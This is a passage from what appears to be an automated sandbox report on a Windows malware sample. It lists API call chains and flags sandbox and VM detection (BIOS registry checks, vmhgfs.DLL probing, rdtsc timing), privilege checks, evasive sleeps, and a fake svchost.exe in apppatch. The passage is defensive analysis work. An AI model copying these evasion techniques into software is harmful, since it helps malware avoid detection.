dle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,13_2_022D6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,13_2_022E2B40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,13_2_022E2BB0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,13_2_022C1170
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,13_2_022CD970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,13_2_022C3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,13_2_022DCE10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,13_2_022C1660
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,13_2_022E1690
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,13_2_022D5720
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,13_2_022E3F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,13_2_022C7FD0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,13_2_022E1460
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,13_2_022E3CE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserNameA,memset,StrStrIA,13_2_022DADE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,13_2_022E25C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,16_2_010B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,16_2_010A1170
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,16_2_010AD970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,16_2_010C2B40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,16_2_010C2BB0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,16_2_010C25C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserNameA,memset,StrStrIA,16_2_010BADE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,16_2_010C1460
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,16_2_010C3CE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,16_2_010B5720
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,16_2_010C3F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,16_2_010A7FD0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,16_2_010A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,16_2_010BCE10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,16_2_010A1660
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,16_2_010C1690
    Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00403A20 RegQueryValueEx -> SystemBiosVersion/Date0_2_00403A20
    Found evasive API chain (may stop execution after checking volume information)
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeEvasive API call chain: GetVolumeInformation,DecisionNodes,ExitProcessgraph_0-21298
    Found evasive API chain checking for user administrative privileges
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCheck user administrative privileges: IsUserAndAdmin, DecisionNodegraph_0-21331
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Program Files (x86)\Windows Defender\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\OpenSSH\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\apppatch\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Program Files (x86)\Common Files\Oracle\Java\javapath\vmhgfs.DLLJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile opened / queried: C:\Users\user\Desktop\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\Wbem\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\system\vmhgfs.DLLJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Users\user\AppData\Local\Microsoft\WindowsApps\vmhgfs.DLLJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00401B20 rdtsc 0_2_00401B20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027078A0 CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle,5_2_027078A0
    Source: C:\Windows\apppatch\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 2576Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 702Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 778Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 4311Jump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027079D0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,5_2_027079D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B279D0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,6_2_00B279D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026B79D0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,9_2_026B79D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022D79D0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,13_2_022D79D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010B79D0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,16_2_010B79D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeAPI coverage: 2.7 %
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeAPI coverage: 2.6 %
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeAPI coverage: 2.2 %
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeAPI coverage: 2.7 %
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeAPI coverage: 2.2 %
    Source: C:\Windows\apppatch\svchost.exe TID: 7476Thread sleep count: 2576 > 30Jump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 7476Thread sleep time: -257600s >= -30000sJump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 6548Thread sleep count: 702 > 30Jump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 6548Thread sleep time: -70200s >= -30000sJump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 6580Thread sleep count: 778 > 30Jump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 6580Thread sleep time: -77800s >= -30000sJump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 7476Thread sleep count: 4311 > 30Jump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 7476Thread sleep time: -431100s >= -30000sJump to behavior
    Source: C:\Windows\apppatch\svchost.exe TID: 7440Thread sleep time: -922337203685477s >= -30000sJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0271DA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,5_2_0271DA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0271DAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,5_2_0271DAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0270D120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_0270D120
